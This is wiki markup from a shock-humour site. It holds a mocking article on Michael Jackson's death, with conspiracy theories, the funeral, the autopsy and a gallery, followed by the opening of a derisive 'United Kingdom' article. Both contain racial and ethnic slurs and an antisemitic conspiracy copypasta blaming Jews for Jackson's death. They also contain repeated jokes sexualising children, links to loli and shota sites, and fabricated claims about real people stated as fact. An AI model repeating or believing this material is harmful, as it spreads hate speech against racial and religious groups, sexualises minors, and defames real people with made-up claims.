It is possible that his doctor Conrad Murray is responsible for drugging Jacko to death as the Coroner has requested all his files, as well as the LAPD, Los Angeles Country Sheriff, and now the DEA and FBI, because this will not be the same without the [[Party Van]]. They all want to know how this doctor got his hands on an IV-administered drug only available at hospitals.

===Illuminati Did Michael Jackson===
The [[Illuminati]] was infuriated when they learnt that Jacko was going to reveal the truth about the Illuminati's conspiracy to take over the world and reduce the world population by 90% in his next concert. They had their eyes on him ever since he created this non-satanic song which has a somewhat empowering effect, which is exactly the opposite of what the Illuminati wants (since everyone in the music industry must submit to [[Satan]] in order to get anywhere).

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===Jews, Jealous of Allah, did Michael Jackson ([[Copypasta]])===

Not surprisingly, this particular theory holds considerable sway in the [[Middle East]]. The synopsis goes as follows: Jacko had converted to Islam in the Middle East and intended to do a final farewell concert, encouraging his fans to do the same. Jews got wind of his intentions, and since he did not pass through any long tunnels where they could [[accident]]ize him like Diana when she got pregnant with an Arab, they had to kill him by injection. Jews unsurprisingly wanted him to continue pushing Diet Pepsi to the Americunts instead of [[Allah]].

{{quote3|
Michael Jackson (MJ) was known as the most loving person in the world. He gave up most of his assets for charity and all his life, he fought for equality of the African Americans, AIDS victims, Against Drug Abuse, Against Abortion, Against Child Labor and secretly channelled his properties for the hungry children of the world. However, he wasn't peace at heart. He always think of himself as a child trapped inside a man's body. Being Peter Pan is all his dream, never to grow up, forever a child. That inspires him to build Neverland - a heaven for children. Children of all ages and races are welcomed to Neverland. MJ had so much love to give.

However, he made a mistake which he didn't know of the consequences. He saw the peaceful life his brother, Jermaine (Muhammad Abdul Aziz) had as a Muslim - true, Jermaine faced so much pressure that he moved to Bahrain.

In 1989, MJ made a press conference which shocked the world, "I have seen the Islam in the life of my brother, I have read the books about Islam. And I'd love to someday feel the calmness and peace of Islam...."

Since that, MJ's life was never the same again.
He was accused of so many accusations against child molestation. MJ was not someone who can deal with much pressure as he is a 'delicate child'. All the extortion and black mail followed after that. Everything he did was being seen as wrong in the eyes of the Media. All these are to influence his fans to hate MJ. If he is hated, then he would not be influencial anymore.

For several years, he stayed in England. Getting motivation from a long time friend, Cat Stevens, who had converted into Islam - named Yusuf Islam. From him, MJ learnt how Yusuf had survived being Muslim. He made friends with a song writer, Zain Bhikha too, who wrote a song titled, "GIVE THANKS TO ALLAH", which he wanted MJ to sing whenever he is ready.

Following his trial, MJ withdrew to Bahrain, where he was the special guest of sheik Abdullah bin Hamad Al Khalifa, the son of Bahrain's king. It was then that Michael began to give conversion more "serious thought." MJ stayed in Bahrain for approximately 3 years. He studied Islam, the prayers and learn to read the Quran.

Finally, he came back to Los Angeles and in November 2008 MJ had formally converted to Islam in a ceremony at a close friend's house in Los Angeles. He perform Haj with the King of Bahrain and son on December 2008.

He had a hidden agenda when he wanted to make a final comeback. He annouced in a press conference on March 2009, "This will be my final concert. I'll see you all in July...."

He planned that during his concert, he would announce that this is the FINAL concert as he wouldn't be performing anymore. He will declare that he is a Muslim and will only sing with Yusuf Islam and Friends.
At the end of the concert, he will be singing the song, "GIVE THANKS TO ALLAH" with Yusuf Islam. That is the reason why he chose London as his final concert venue instead of the USA. It was because he thought he could escape the USA's extortion, and that he could perform with yusuf Islam who is in England.

At 12.30am, 25th June 2009, he hugged his production manager and said, "After reherasing for 2 months, I am finally ready for the concert..." Before leaving to sleep, he waved his dancers, "It was a good night everyone. I'll see you all tomorrow..." The next thing... He was pronouced dead at 2.26am.....

When 911 was called, there are so much questions asked. It is as if they didn't know who MJ is and where he lived. The questions asked are more towards to delay time. The hospital said the autopsy result can only be obtained after 2 months - very illog ical as even the worst African technology could obtain the result in less than 2 weeks.

MJ's family members opt for second private autopsy as they started to feel something fishy is going on. The result came out in about 4 days - MJ was drugged with high dosage of anaesthetic - drug that brings about a reversible loss of consciousness, if used to much could stop the heart from beating.

Another result which was not aired in the media was, MJ's stomach is empty of this drug, but his blood were filled with it - same case as the death of Marilyn Monroe. The private doctors also found many needle marks, afraid to be forced injections given to MJ on his bed.

In CNN Live after a week, Barack Obama was interviewed. And he said, "I love MJ, I grew up listening to his songs.. It is a great loss, but rest assured that there is no conspiracy in his death..."
Now, why must a President made such statement before the official autopsy result came out? How would he know that there is no conspiracy without the post-mortem result? Seems like someone is afraid of his shadows..

MJ was known to the world as a person who is against drug abuse. Why must he be addicted to drug, then? If he wanted to commit suicide, why rehearse for his concert? And why will he want to see his dancers the next day?

Enough about his death. I am sure people around the world is not stupid anymore. These supreme power can fool us during the Marilyn Monroe conspiracy, Martin Luther King and Princess Diana. But in this MJ's case, they left too many loopholes for those who think...!!

MJ's family was about to give him a Muslim burial with the help of The Brotherhood of Islam. But, the CIA showed up at Neverland's door - blackmailed them that if they do so publicly, Katherine (MJ's mother) would be pull off from MJ's 3 children's custody as well as MJ's estates. Instead, they'll hire Debbie Rowe for the purpose, and the court will be in their favour. So much for democracy and fairness....

Finally, they agreed to let MJ have a Muslim Burial in Neverland. But in condition, must show to the public a Christian Memorial Service, as to prove to the world that MJ was never a Muslim.

So, Staples Centre was just a normal show. That's why the coffin was closed and sealed.

MJ was buried days earlier. The Gold Coffin was empty. They were about to bury the Coffin according to Christianity ways in Hollywood - as in their deal with the USA Government.

These happened, because the USA is afraid of the rising numbers of Muslims in the world.

(Sheikh Ha**d)
The Brotherhood of Islam
Buletin of Bahrain

}}

===Castrati===

Michael Jackson's voice never broke. He never broke into falsetto to reach those notes, he could just hit them without effort. All of his brothers are big lantern-jawed men, but he even before all the surgery never looked older than 11. Why?

Because the Jackson 5 was a money machine, and it all depended on Jacko's voice. Joe Jackson is not a nice man, and never was. He did not take Michael to Mexico for an operation to ensure that that voice would remain angelic. He got good and drunk drunk and did the deed himself, with the boot.

This [[fact]] explains pretty much everything, the kids in the bed, the dance stuff where he'd touch himself like a woman. That's why the sexy dance moves in the "Thriller" video are so unconvincing and just wrong. Go watch it: it's obvious that this man has never actually fucked. He never put his dick in any of those kids because he was physically incapable of it. This is not to say that what he did wasn't sexually molesting the kids, just that it was quite a bit creepier than the paedophile rape everyone thinks it was.

In short: Jacko's dad kicked him in the balls, as a child, to cripple him and keep his voice sweet.

==Funeral==

[[Image:Paris-Michael-Katherine_Jackson_Memorial_OscarOscar.jpg|thumb|Paris Jackson, Michael Jackson's only daughter, accepts an Oscar for her stellar performance at the memorial ceremony.]]

[[Image:Jacklelz.jpg|thumb|LOL vandalism is pointless on this page or anywhere else on ED.]]

Jacko had a [[LOL|gala]] [[BAWWWW|public memorial service]] at the Staples Center in Los Angeles. Jackson did not appear from the dead and deliver a true-to-life rendition of "Thriller", much to the chagrin of most of the audience. [[Paris_Hilton|Paris-Michael Katherine]] did, however, deliver a "heart-felt" speech at the end about how [[O RLY|great a father Jacko was]], and how they will lose their $1000/week allowances. It is not known who coaxed her into making said statements, as everyone knows Jacko's fatherhood suffered a brutal [[death]] after falling three stories off a balcony.

The hapless losers who invested $400 million for Jacko's comeback tour (who also own the Staples Center) gave out 11,000 free tickets to the public instead of selling them at a high markup. After burning $400 mil on a [[fail|now canceled due to death]] tour, why not just lose more money?

During the faggy memorial service, Kobe Bryant and Magic Johnson took the stage, the latter having appeared in the music video ''[[Shit nobody cares about|Remember the Time (I Raped You)]]''. After everyone watching asked themselves why the fuck they are there, Magic Johnson went on to recount a tender moment he shared with Wacko Jacko:

'''LAWDY MICHAEL, IS DAT SUM [[Chikins|CHIKKINZ]]?'''
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During the service various speakers all lauded the strangeness that was Michael Jackson, spouting tall tales such as crediting Wacko Jacko with the election of [[Barack Obama]] as [[President]] (not that there aren't similarities).

It was reported that the Jacko family first opted for [[kill it with fire|cremation]], but it was discovered after years of plastic surgery and various chemical treatments to his skin that his body is now fireproof. NASA has approached Joe Jacko in the hope of getting corpse samples to use in research on new heat shields for space vehicles.

It has been reported that Jacko has finally been buried at Forest Lawn Cemetery, instead of doing the right thing and donating his body to [[soyence]].

==Autopsy==
[[image:Jacko_SOPA.jpg|thumb|right|Is it really Piracy that's hurting the industry?]]
Initial autopsy results were inconclusive but reports from the Los Angeles Country Medical Examiner's office do showed that Jackson's body was 35% plastic and other recycled materials. After the rest of Jack's chassis had been released for embalming and burial subsequent autopsy and toxicology tests were done on Jackson's brain. On August 24th, 2009, the final results [http://www.wbaltv.com/entertainment/20535026/detail.html?treets=bal&tml=bal_natlbreak&ts=T&tmi=bal_natlbreak_1_02580108242009 were leaked] revealing the obvious: Jacko had died of a massive drug overdose and although he'd done the world a favour, Jacko's personal physician was accused of [[OJ Simpson|'''MURDER!!!''']]

The doctor, cardiologist Conrad Murray, had been treating Jackson for insomnia for about six weeks with a buttload of the hospital-grade anaesthetic Diprovan every night via the tip of his penis. Murray said he feared Jackson was becoming addicted to the anesthetic, which is supposed to be used only in hospitals and other advanced medical settings, so he had lowered the dose and threw in the sedatives Valium and midazolam.

According to court records Murray said he resisted a tired Jacko's incessant whining for Diprovan (which he referred to as "his milk") fearful that the pop star had developed a dangerous addiction to the drug. Instead, Murray administered the sedatives Valium, lorazepam and midazolam five times over six hours, which didn't work and Jacko continued to demand his "[[cum|milk]]". Jacko stopped breathing about 10 minutes after Dr. Death relented and finally gave in to his patient's demands.

==Michael Jackson Lives==

Don't believe Ondor's lies. We brought him back, we had the technology!
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[[Image:Lolmj.png|thumb|right|The King of Pop at his last performance.]]

==[[Bel-Air]]==

[[Image:Micahel jackson brb.jpg|thumb|right|]]

This is the story all about how 
My pulse got flipped turned upside down, 
Now I'd like to take a minute, just sit right there, 
I'll tell you how I had cardiac arrest in Bel Air. 

In Gary, Indiana born and raised, 
In the plastic surgeon room is where I spent most of my days, 
Chillin' out, maxin', relaxing all cool, 
and sittin' in a van outside of a school 

When a couple of parents said I was up to no good, 
said I was molesting their kids in the neighborhood. 
I got in one little incident, and the police got scared 
and said "You movin' with your Blanket and children in Bel-Air" 

I said I'll do a big concert tour, and when it came near 
I needed a trainer - my body stress load was severe. 
One morning that I woke up and suddenly felt pain, 
I said "Nah forget it, YO HOLMES LET'S TRAIN!" 

The very next day, 'round 11 or 12, 
blood stopped rushing to my heart valve. 
I collapsed on the floor, and to rejoicing of haters 
I yelled to the world "yo holmes smell ya later" 

Slipped into a coma and I was finally there, 
dead of cardiac arrest at my home in Bel-Air. 

===Bel Air Ver. 2===
This is a story all about how my [[HNG|HHHHHRRRRRRRRRRRRRRRRRRNNNNNNGH]]!!!

==Legacy==
His legacy continues in every shitty rerelease of his music, his family, and Pedobear. Also this guy

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==Death: The Ultimate PR==

Before Jacko's death, no one gave a shit about him and his music. Only because it isn't even good enought to suck monkey cock. To everyone including his own family, he was a [[Loser|washed-up pop star]], with plastic skin and a fake nose. LaToya (Michael's evil twin brother) publicly accused Jacko of being a pervert on Geraldo Rivera's talk show in the 1990's. [http://dictionary.reference.com/browse/hypocrite Now he is an infallible pop music legend and his music is hotter than ever.] Use this to your advantage and [[profit|profit]] off his corpse while you still can!

Now with Jacko dead, the Jacksoff family is missing their primary cash cow. As with Elvis before him, it is time to plaster his plastic surgery ravaged face on anything and everything, in order to squeeze the last remaining jewgold in him. First came two video games, one being the ''Michael Jackson Experience'', a Wii dance game.

The most ambitious project is Planet Michael, a HUEG MMO set within Jacko's World based on his music videos and career. It is not known is players can enter the game as such characters as, Plastic Suregon, Private Doctor, Neverland Maid, Monkey Wrangler, Coffee Enema Administer, Anal Tampon Inserter, Personal Doctor Shopper and the best of all a 12 year old boy.

If this game becomes reality, there is much potential for [[trolling]]. As a consequence, the Patriotic Nigras will probably [[butthurt|shut the servers down within 30 minutes of opening]].

===Fun things to do===

*Go the Neverland as a 12 year old boy.

*Ask when bed time is, when the little had touches the big hand.

*Find Bubbles and give him a spanking.

*Close the pool because it has Aids.

*Raid Neverland, swarm the sim with characters all dressed as police, start asking where the CP is.

[[File:Michaeljacksonepstein .png|250px|thumb|Wacko Jacko posing with [[Epstein|his best friend]].]]
==2026==
A biopic film about his life titled ''Michael'' has been a [[fail|smash hit]]; this and a recently uncovered picture of him hanging with [[Jeffrey Epstein]] have somewhat revived his career and the discussion about it. Most will still call him a pedophile, but others have taken the "heartwarming" acting from Michael's own nephew, Jaafar Jackson, as an argument how he was never actually a pedophile, and is a [[pretty cool guy]] all along.

==Gallery==


{{cg||mjlulzgallery|center|<gallery perrow="5">
Image:Michael Jackson behind tree.jpg|Peekaboo!
Image:MJAWSUM.jpg
Image:Jjj.jpg|OH SHIT HES BACK!
Image:Wacofaggot.jpg|For all the fans
Image:Mjprop8.jpg|Michael Jackson is against [[prop 8|Proposition 8]].
</gallery>|<gallery perrow="5">
Image:Michael Gollum.jpg|Yet another one of Jackson's plastic surgeries.
Image:Jackson_combo.png|A [[combofag|combofag's]] tribute.
File:DoucheyCulkin.jpg|Michael Jackson's penis is responsible for this beard.
Image:Mj_csi.jpg
Image:Peppermentpatti3.jpg|Michael Jackson's YouTube alter-ego, [[PeppermintPatti]].
Image:Freak.jpg|<s>Michael Jackson in the future.</s> Nevermind, he's dead.
Image:de-coca.jpg|The King is dead, long live Pepsi.
Image:Childloveright.jpg|Michael Jackson's beliefs.
Image:Dat ass mj.jpg|MOAR LIEK "[[Dat Ass|Dat LITTLE BOY'S Ass]] [[amirite]]?
Image:Banksy_Fairytalecottage.jpg|Luring children to his gingerbread house.
Image:Naraku & Kohaku.jpg|An [[anime]] Jackson.
Image:Jacksonbabyoutback.jpg|Michael Jackson feeds [[A Dog|the dogs]].
Image:Sneddon.gif|Tom Sneddon, Wacko Jacko [[EPIN]] [http://www.youtube.com/watch?v=VbqwWLXxWR8]
Image:MJOJlol.jpg|Michael Jackson on his getaway tricycle.
Image:Dancer zombie..png|His future career plans.
Image:Deadjacko1.jpg
Image:PrinceandParisholdinghands.jpg|His son Prince, an obvious troll.
Image:Michael_pokemon_fight.jpg‎|Too bad he didn't have full heal..
Image:Michael jackson versus michael jackson.jpg|Proof Michael has a [[Dolly|clone]].
Image:Sega-genesis-michael-jackson-moonwalker.jpg
Image:Michael jackson spacechannel 5.jpg|MJ about to get some space [[loli]].
Image:Michael-Jackson.gif|He Tried, He Failed.
Image:Jacko_burka.jpg|Picture of [[Pedophile|Jacko]] and its first [[Loli|prey]] in the name of [[Allah|Allah]].
Image:Michael_DeLorenzo-1.jpg|Michael Jackson's illegitimate son.
image:uglybish.jpg|MJ's younger brother.
Image:Elephant man.jpg|"The Elephant Man, after Jackson took his bones."
Image:Nintendo-punch-out-michael-jackson-1.jpg
Image:michael-jackson-mugshot.jpg|remember sex monsters look no different from you and I
Image:Jacksonfurfag.jpg|Michael was also a closet [[furfag]].
Image:Michael-jackson-death-photo-ET.jpg|Who's dead?!
Image:Michael-Jackson-OK-cover.jpg
Image:Michael Jackson killer revealed.png|The prophecy.
Image:KFC_Michael_Jackson_APPROVES.jpg
Image:Jacksons shota commission.jpg|Michael Jackson's commissioned [[shotacon]].
Image:DeceasedMichaelJackson dontsueplz.jpg|Goodnight sweet prince
Image:Jackoappears.png|[[A challenger appears]].
Image:Michael_Jackson_-_Face_Mask.jpg
File:Michael Jackson drinking vodka with two dwarves.png
File:MJ.aids.album.jpg
File:Jackson Calm Down.jpg
File:MJ Clown.jpg
File:Celebrity-1-michael-jackson.jpg
File:I,Rape2.jpg
File:Goodnight jacko1.jpg
</gallery>|}}

==External Links==
[[Image:Mjapproves1.jpg|thumb]]
* {{yt|cu|MichaelJackson|Michael Jackson's Official YouTube (still active)}}
* {{yt|cu|MichaelJacksonsPenis|Micheal Jackson's Official 2nd YouTube Profile}}
* [http://mjackson.freevar.com/ Stupid ass MJ website with forum to spam and make fun of] - Website went belly up.
* [http://cgi.ebay.com/The-Cheeto-That-Foretold-Michael-Jacksons-Future_W0QQitemZ290327044439QQcmdZViewItemQQptZLH_DefaultDomain_0?hash=item4398d72157&_trksid=p3286.c0.m14&_trkparms=65%3A12%7C66%3A2%7C39%3A1%7C72%3A1205%7C240%3A1318%7C301%3A1%7C293%3A1%7C294%3A50 The Cheeto That Foretold Michael Jacksons Future] Amongst the [[crapflood]] of Jacko memorabilia available on eBay. Dead link, no archives.
* [https://web.archive.org/web/20090629191833/http://cgi.ebay.com/Hot-cheetos-Michael-Jackson-Moonwalk-Thriller-Fun_W0QQitemZ290325355042QQcmdZViewItemQQptZLH_DefaultDomain_0?hash=item4398bd5a22&_trksid=p3286.c0.m14&_trkparms=65%3A12%7C66%3A2%7C39%3A1%7C72%3A1205%7C240%3A1318%7C301%3A0%7C293%3A1%7C294%3A50 Michael Jackson Moonwalk Cheeto.]
* [https://web.archive.org/web/20090727174924/http://www.michaeljacksondeath.net/ First site up within minutes of his death, goodjob.]
* [https://web.archive.org/web/20090630014320/http://comments.deviantart.com/2/84273/1106426757⇒ First person to PURELY FUCKING OWN HIM after death.]
* [https://web.archive.org/web/20090103142752/http://anomalies-unlimited.com/Jackson.html The History of Michael Jackson's face.]
* [http://www.forartist.com/forensic/modification/mj/jackson.htm Computer generated image of how Jacko would look if he never had plastic surgery.]
* [http://en.wikipedia.org/wiki/Shakira_discography Another person who bleached their skin. Compare the earliest album to the later ones.]
* [http://www.zug.com/pranks/credit/mj-credit-card/ Pranksters pull a fast one - one pretends to be MJ and vomits all over the window of a Victoria's Secret.]
*[http://williambader.com/mj.html '''Michael Jackson jokes''']
* [http://www.msnbc.msn.com/id/7816771/ Memories]
* [http://jackobubbles.ytmnd.com/ Jacko's Morning routine]
* [http://www.youtube.com/watch?v=i5KmXleS1wg&feature=related Rapper's Jacko diss set to ''South Park'' clips.]
* [http://www.nicenetruth.com/home/2009/06/flashback-2003-michael-jackson-paid-150k-for-voodoo-curse-on-spielberg-geffen.html?cid=6a00e54f0bd8738834011570944f5b970c Michael Jackson once paid to have a voodoo curse put on Steven Spielberg for not casting him in the movie Hook as <s>pedo</s> Peter Pan, Jackson's demise once and for all proves that Jews > Voodoo]
* [[Love_Shy#Advanced_2|Facial feminization surgery guinea pig]]

===Sites approved by Michael Jackson, '''not directly related'''===
*[http://www.nvhentai.com Wacko Jacko's secret stash!]
*[http://doujinland.com/ Doujinland.com] - Sure to contain '''lots and lots''' of [[sick fuck|sick fuckery]].
*[http://www.notfourchan.net not4chan]

{{portals|music|gay|youtube|trolls}}
{{Pedoseries}}
{{FakeRape}}
{{blackpeople}}
{{Otherkin}}

{{Timeline|Featured article June 26, [[2009]]|[[Online Blackjack]]|{{PAGENAME}}|[[Beccah Beushausen]]}}

{{timeline|Article of the Now June 10 and 12, [[2026]]|[[Tom Pearl]]|{{PAGENAME}}|[[Penny Arcade]]}}

[[Category:2009]]
[[Category:Abnormal Psych]]
[[Category:IRL Shit]]
[[Category:People]]
[[Category:Sex]]
[[Category:Corpses]]

United Kingdom

2026-07-24T01:01:37Z

SmidgeX2:

{{achtung|[[Brexit|The UK is leaving the EU!]] <s>But [[Scotland]] is leaving the UK and joining the EU!</s> lol keep dreaming SNPfags!}}
{{spoilers|Queen Elizabeth II is dead, ding dong the wicked bitch is dead}}
[[Image:Britfag.jpg|thumb|230px|Typical Briton]]
[[File:Morris dancers.gif|thumb|300px|In parts of Britain, traffic signals are worshipped]]
[[File:Hitler%27s_women%27s_hockey_team.jpg|310px|thumb|You're doing it wrong.]]
The '''Country formerly known as the United Kingdom''', also known by its full name, [[TL;DR|The Country formerly known as the United Kingdom of Great Britain and Northern Ireland]], and better known as the Divided Kingdom of Fail Crapton and Northern Terroristville, the Democratic Socialist Peoples Republic of Britistan and the United Kuntdom (UK), is a small turd floating in the seas off the coast of Europe. The natives are universally loathed for their rotten teeth and terrible women, even by other Europeans. National pastimes include wearing women's clothing, eating terrible food, bitching about the [[France|French]], going to Thailand or Eastern Europe to pump and dump cheap whores and venting suppressed military penis-envy towards the [[America|United States]], [[Russia]] and [[Chinks|China]].

National dress consists of bowler hats and smoking jackets which are worn even while bathing and swimming. Despite their history of epic military fails and lack of personal hygiene, they still believe that [[USI|they are the greatest people on the fucking planet.]]

Political opinion and culture in the UK, regardless of whether they are on the [[Communist|left-wing]] or [[Nazi|right-wing]], is best known for it's love of banning everything and anything and generally thinking that they can regulate and prohibit their way to utopia. This thinking has now reached a point where if you find yourself in the UK and you are wondering about the legality of an action, it's best just to assume that it's illegal. There is nothing that you can do legally in the UK that you can't do anywhere else, this combined with the fact that the country has no written constitution or constitutionally enshrined Bill of Rights, makes the UK one of the best examples of "soft core fascism" in the western world.

==Notable Areas==
[[File:Wicker man circle dance.gif|thumb|right|200px|Stonehenge, Wiltshire]]
The United Kingdom is divided into a number of smaller country-ettes, each of which is in its own little world. The imaginary distinctions between each pseudo-nation are painfully important to their denizens, mostly because it gives them something to preen about.

*[[England]]
*[[Londonistan]] ''the capital [[Shitty|city]]''
*[[Scotland]] ''also known as Northern England''
*[[Whales]]
*[[Northern Ireland]]
*Cornywall

==British Culture==
[[File:How British people talk.png|thumb|How British people talk.]]
===Cuisine===
[[Image:Crumpet news.jpg|right|200px]]
British food (with a [[Bacon and eggs|few exceptions]]) is notoriously bad. A majority of the food in the UK is tasteless, yet still [[fat|full of calories]]. This is generally because the majority of British folks (like the rest of Europe) would rather spend their time getting [[alcohol|shitfaced]] drunk every day than to be bothered to prepare meals. Besides, most British women can not cook anything other than crumpets or bacon and eggs, simply because food they try to make instantly violates 46 of the [[Over 9000|9001]] health codes in the UK.

It's unknown however whether the food they eat is a cause or effect of their notoriously bad teeth. [[Some argue]] a dreadful diet leads to tooth decay, while others claim that British dishes were invented solely to be eaten by people who obviously [[oral sex|don't give a shit about what effect it may have on their mouths]].

====The Effect on Teeth====
[[Image:Bad-teeth.jpg|thumb|200px|Genuine British Teeth]]
[[Image:British smiles.png|200px|right]]
[[Image:Ugly People 17.jpg|thumb|200px|right|authentic anglo beauty]]
The most efficient way to identify a Brit living in America or anywhere else in the world is to check his or her teeth. This form of identification only works outside the state of Kentucky. The absolute god-awfulness of their teeth is one of the few faults that the British will '''{{archive|ZJYZ0|actually admit to}} '''. However, as with all things British, they manage to turn this into yet another thing to preen about. Brits do this by endlessly bitching that Americans care too much about teeth.

The lack of dental hygiene of the [[chav|typical]] UK citizen should not be dismissed as nit-picking just because, when compared to the rest of [[India|the world]], they don't seem so bad. Britain, after all, as a First World country and a major player on [[USA|the world stage]] should command [[shit nobody cares about|a modicum of respect]].

However, it should be noted that, unlike in America, dental care is free to people aged under 18; therefore, they have no real excuse. Oldfags must pay £16.50 for an examination and over £9,000 for actual treatment. The money raised by the dentists is invested in the [[irony|candy industry]].

===As Tourists===
[[Image:What defines a british person.jpg|thumb|Google is still accurate]]
When some [[troll|moron]] decided to build the "Chunnel" (a tunnel under the Channel that linked the UK with France) in 1994, all hell broke loose as the "Chunnel"'s sole purpose has proven to be allowing Britain's [[moron|hordes]] of perpetually drunk, violent [[caveman|soccer hooligans]] out of their cages to swarm onto the continent and wreak havoc. Granted, seeing as how this inconvenienced only the French, nobody else really gave a shit.
Much as they deny it, Brits are all mutts full of French, German, Italian and Norse blood, which, considering the [[batshit crazy|volatility]] of those races, probably explains why Brits are so all [[asshat|unpleasant]].

=== Climate ===
Rain. But not for much longer. Thanks to [[global warming]], when the gulf stream shuts down England will be treated to a climate more appropriate to its latitude, which is the same as that of [[Moscow]]. However since global warming is taking a fucking long time to get into gear, it still rains over 93% of the time. The chance of rain is statistically proven to be higher if the BBC says it will be sunny.

=== British Lifestyle ===
[[File:4984765+ 30775c038fda0f1bb2b552f88c2b1c8f.jpg|thumb|200px|GTA Britain would look something like this]]
Your typical British wankball will rise nice and early to pour a a gallon of tea down their ugly throats, and stuff some greasy breakfast into their mouth-holes, skipping brushing their teeth and a shower afterward, before eventually sitting down to glare at the rickety old movin' picture light box for a few hours before work. Typical morning programming will be the day's weather report of rain with a chance of terrorism, then to hear the countries national withered old couple Richard & Judy quickly whisk over some horrific international disaster, before moving onto something more light and entertaining, like an old lady in Dorchester who's renting out her vagina as a bed & breakfast or some shit.

<center>{{frame|<youtube>hAX6yi60OPY</youtube>
<center>'''Richard & Judy morning [[boring|borefest]] dubbed over for [[I did it for the lulz|teh lulz]]'''</center>
|border=blue|background=red}}</center>

Your usual British citizen will then proceed to get up of his fat arse and walk out into the cold dreary rain, battling the weather and sand niggers shouting about how they will kill everyone, to walk into a dull and depressive office building or factory. These gormless bum-pickers will then stare into space for a while, watching the British empire's already crumbled husk sink further into the ground right before their witless eyes. When their break comes, they will gather round to speak ill about other countries, including the British ones. The English will bitch about Scotland and Wales, the Scottish will spout some shit about how they'll become independent, the Welsh will struggle to blink and talk at the same time, and the North Irish will run quickly from the daily pipe bomb that was just thrown through the window. The women of the country will stay at home being ugly. Other activities include squawking to their equally unattractive next door neighbor, both looking like melting wax sculptures of Cilla Black as they gossip about how the man across the road is probably a paedophile, or smacking their tiny chav spawn who run around in the streets flashing their bums and flinging rocks at passers by.

Britons will spend their free time drinking themselves to an early grave. Once work is over, thousands of them from lower to upper class all flock like an avalanche of hobos to their nearest drinking hole. Activities in these places will usually involve chatter about the last football game and loud insipid conversations about bloody immigrants before they all glass each other into unconsciousness. The upper class isn’t any different, perusing piss stained nightclubs and bars, pouring ridiculously expensive booze into their mouths and shoving even more expensive weak coke up their nostrils. In the middle of drinking they will make their way to the Lou that consists of a trough, a sink, a toilet that hasn't been cleaned in months, and three urinals at which men will hock loogies (gob as they say) and spit it on the floor or the wall in front of them. They'll return to their festivities, after not washing their hands of course. All this in an effort to make the make-up caked British sluts that totter around the streets just vaguely fuckable. Then everyone wakes up with a hangover to another dreary morning and the cycle starts again. God save the queen.

===Crime===
[[Image:British Police.jpg|thumb|200px|The British police (Yes, they are this [[gay]])]]
[[Image:Bannedinbritain.jpg|thumb|200px|BANNED IN BRITAIN]]
Crime is the UK's second national sport (the first being [[Football]]), and this second sport is becoming ever more popular as, at the urging of legions of elderly, white haired, [[Tory|Tory-voting]] [[old people|old women]] who hate everything and anything that might resemble [[fun]], [[Government|Big Brother]] is banning everything. (Yes, they are this [[stupid]]).

<big><big>'''People and things [[b&|banned]] and forbidden in Britain include:'''</big></big>

#[[Guns]] (Yes, they are this [[stupid]])
#Knives (Yes, they are this [[stupid]])
#[[Marijuana|House plants]] (Yes, they are this [[stupid]])
#[[Loli]]
#[[Shota]]
#[https://www.telegraph.co.uk/news/worldnews/northamerica/usa/5291467/Profile-Michael-Savage-the-US-shock-jock-banned-from-Britain.html Michael Savage]
#[https://www.independent.co.uk/news/uk/crime/under-starter-s-orders-the-latest-weapon-to-be-outlawed-1947204.html Starting races]
#Street parties
#'''{{archive|4pjbU|Manhunt 2}}'''
#Cutlery (Yes, they are this [[stupid]])
#[[Mike Tyson]] (Yes, they are this [[stupid]])
#'''{{archive|66NqN|Fred Phelps}}'''
#'''{{archive|3YjqR|Guro fap fantasies about Girls Aloud}}'''
#Saying horrid things about [[Princess Diana]]
#[[The Human Centipede|The Human Centipede 2]]
#[http://news.bbc.co.uk/2/hi/7885918.stm Geert Wilders]
#[[Halloween]]
#Football Hooligans (Yes, they are this [[stupid]])
#[http://news.bbc.co.uk/2/hi/uk_news/wales/8484116.stm Shopping in your pajamas]
#[[Snoop Dogg]] (Yes, they are this [[stupid]])
#[https://www.cnn.com/2010/SHOWBIZ/Music/06/08/chris.brown.uk.ban/index.html?hpt=T3 Chris Brown]
#[[Trolling|Cyber-bullying]] (Yes, they are this [[stupid]])
#[[Hate Speech]] (Yes, they are this [[stupid]])
#[[Lauren Southern]]
#[[Martha Stewart]]
#[https://www.independent.co.uk/tech/giant-plasma-tvs-face-ban-in-battle-to-green-britain-1299665.html Plasma screen TVs] (Yes, they are this [[stupid]])
#'''{{Archive|rwjOP|Photoshop}}''' (Yes, they are this [[stupid]])
#[[Chris Morris]]
#'''{{archive|Pe4rn|Fire extinguishers}}''' (Yes, they are this [[stupid]])
#'''{{archive|2VEqa|Goldfish}}'''
#[[Testicles|Conkers]]
#(Possibly) [[Donald Trump]]
#Nuclear weapons
#'''{{archive|P6Zdu|Puppies}}'''
#[[Christmas]] (Yes, they are this [[stupid]])
#Celebrating the Fourth of July (Yes, they are this [[jealous|jealous of America]])
#Social Media
#Tumble Dryers
#[[You]]

[[Fags|Law abiding citizens]] are left to be [[ass rape|escorted]] while going to the market. This brings great [[lulz]] to [[Amerifags]] as they are all armed to the teeth, and help each other out more often than those dirty [[nigger]]s kill each other.
{{clear}}

==The People==
[[IMage:A_british_gathering.jpg|thumb|What happens when British people get together]]
[[Image:Queen nude stamp.jpg|thumb|Elizabeth II, by Grace of [[God]], of the United Kingdom of Great Britain and Northern Ireland and of Her [[Antigua and Barbuda|other]] [[Australia|Realms]] [[Canada|and]] [[New Zealand|Territories]] [[Queening|Queen]], Head of the [[Commonwealth]], Defender of the Faith]]
[[File:Woking 925.jpg|thumb|Public transport in Surrey]]
[[File:Weird british guy.jpg|thumb|The average British citizen; smoking a pipe and being faggy.]]

''UKunts'' are the inhabitants of the UK and are basically [[Europeans]] minus the class and culture. Besides ''UKunts'', other terms of endearment to describe the British are '''Brits''' and '''Limeys''' (if you're from America or Canada), '''Pommies''' and '''Pommy Bastards''' (if you are from Australia or New Zealand), '''Island Apes/Monkeys''' (if you are from Germany) and '''Goras''' (if you're from South Asia). Other words to call the British are '''Micks''', '''Paddies''', '''Scots''', and '''Neanderthals'''.

Like USA being infested with [[niggers]], Britain is also being infested with [[sand niggers]]. The first and most notable trait of the is their sense of elitism and entitlement - a leftover from an era when Britain ruled most of the world. Sadly, most of the British people, having lost their power, have not yet lost the feeling that they are better than everyone else. They also get wet dreams from [[Goatse|this]]. Most Britfags had their [[vagina|penis]] chopped off by their mother for getting their sister pregnant.

Despite the fact that Britfags think of the opposite they are actually much inferior in any way possible than other [[Europe|Zooropeans]] due to continuous race-mixing with subhumans and other genetic factors and culture.

